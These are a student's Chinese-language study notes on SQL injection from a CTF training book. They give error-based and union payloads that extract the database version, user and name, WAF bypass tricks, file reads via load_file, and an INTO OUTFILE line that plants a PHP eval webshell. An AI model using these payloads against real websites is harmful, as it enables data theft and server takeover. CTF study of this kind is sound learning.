《CTF特训营》web部分读书笔记(一)SQL注入

前言

《ctf特训营》的读书笔记
由于笔者现在关注web方向,所以主要是web部分
其余部分留待以后

本节是sql注入
这是ctf比赛里最常见的内容

1 简介

sql注入

  • 开发人员将url、post参数等用户输入与sql语句拼接
  • 出现sql语句可控的情况

分类

  • 可回显:可以联合查询、报错注入
  • 盲注:bool盲注、时间盲注
  • 二次注入:通常需要自己编写脚本

在比赛里,通常会增加一层WAF,如关键词过滤

2、可以联合查询的sql注入

一个例子
《CTF特训营》web部分读书笔记(一)SQL注入_第1张图片
此时传入

?id=-1'+union+select+1+--+

拼接后sql语句为

select id from users where user_id='-1' union select 1--'

一般需要注意一些特定字符的绕过

  • 空格
  • select
  • and
  • or

3、报错注入

updatexml

本质上是函数报错

一个爆破数据库版本的例子

?id=1'+updatexml(1,concat(0x7e,(select version()),0x7e),1)%23

floor

rand和order by的冲突

几个例子如下

?id=1'+and(select 1 from(select count(*),concat((select(select(select concat(0x7e,(select version()),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破数据库版本
?id=1'+and(select 1 from(select count(*),concat((select(select(select concat(0x7e,(select user()),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破当前用户
?id=1'+and(select 1 from(select count(*),concat((select(select(select concat(0x7e,(select database()),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破当前数据库

exp

溢出报错

一个爆破用户的例子

?id=1' and exp(~(select * from (select user())x))%23

4、bool盲注

错误信息被屏蔽
通常在输入点后面添加and 1=1and 1=2
来观察页面返回情况

一些可能过滤

  • 1=1被过滤,可用不常见数值
  • 绕过单引号,可用'and'1'='1

一些常用函数如下
《CTF特训营》web部分读书笔记(一)SQL注入_第2张图片
《CTF特训营》web部分读书笔记(一)SQL注入_第3张图片
《CTF特训营》web部分读书笔记(一)SQL注入_第4张图片

5、时间盲注

根据页面响应时间来判断结果
常用函数如下
《CTF特训营》web部分读书笔记(一)SQL注入_第5张图片

6、二次注入

数据入库时进行了过滤和转义,取出拼接时没有过滤

在比赛里很少见
书中举的例子是2016年西电信安协会的l-ctf
记一笔,回头去做做看

7、注入点

常见注入

  • GET参数,在url里通过sqlmap或手工验证
  • POST参数,用burp或hackbar抓包验证
  • user-agent,用burp的repeater模块,或sqlmap设置level=3
  • cookies,用burp的repeater模块,或sqlmap设置level=2

判断注入点是否存在

  • 数字型判断,and 1=1'and'1'='1
  • 数字加减运算,url里有id=2,可尝试输入id=3-1,看结果是否一样

mysql版本为5.0.0到5.6.6之间时
在如下位置可进行注入

select field from table where id>0 order by id limit {injection_point}

8、绕过

过滤关键字

题目会过滤如select、or、from等关键字
可用方法

  • 穿插:selselectect
  • 大小写:SelEct
  • 个别字符替换:selec\x74
  • 双重url编码:%25%36%36%25%36%66%25%37%32%25%36%64

过滤空格

对空格过滤有以下几种方法

  • 用注释符代替空格:#--///**/;%00
  • url编码:一次%20,二次%25%20
  • 十六进制空白字符:0A0D0C0920(sqlite3)、090A0B0C0DA020(mysql5)
  • 一些场景下:+-!

9、sql读写文件

读文件

-1' union select load_file('flag')

写文件

-1' union select '<?php eval($_POST[233];?>' into outfile 'var/www/html/shell.php'

结语

比较全面的了解了下sql注入
当然在之前做过的题目里
通常会结合其他一些考察
绕过也会比较难
还需要做题和总结获取进步

你可能感兴趣的:(ctf)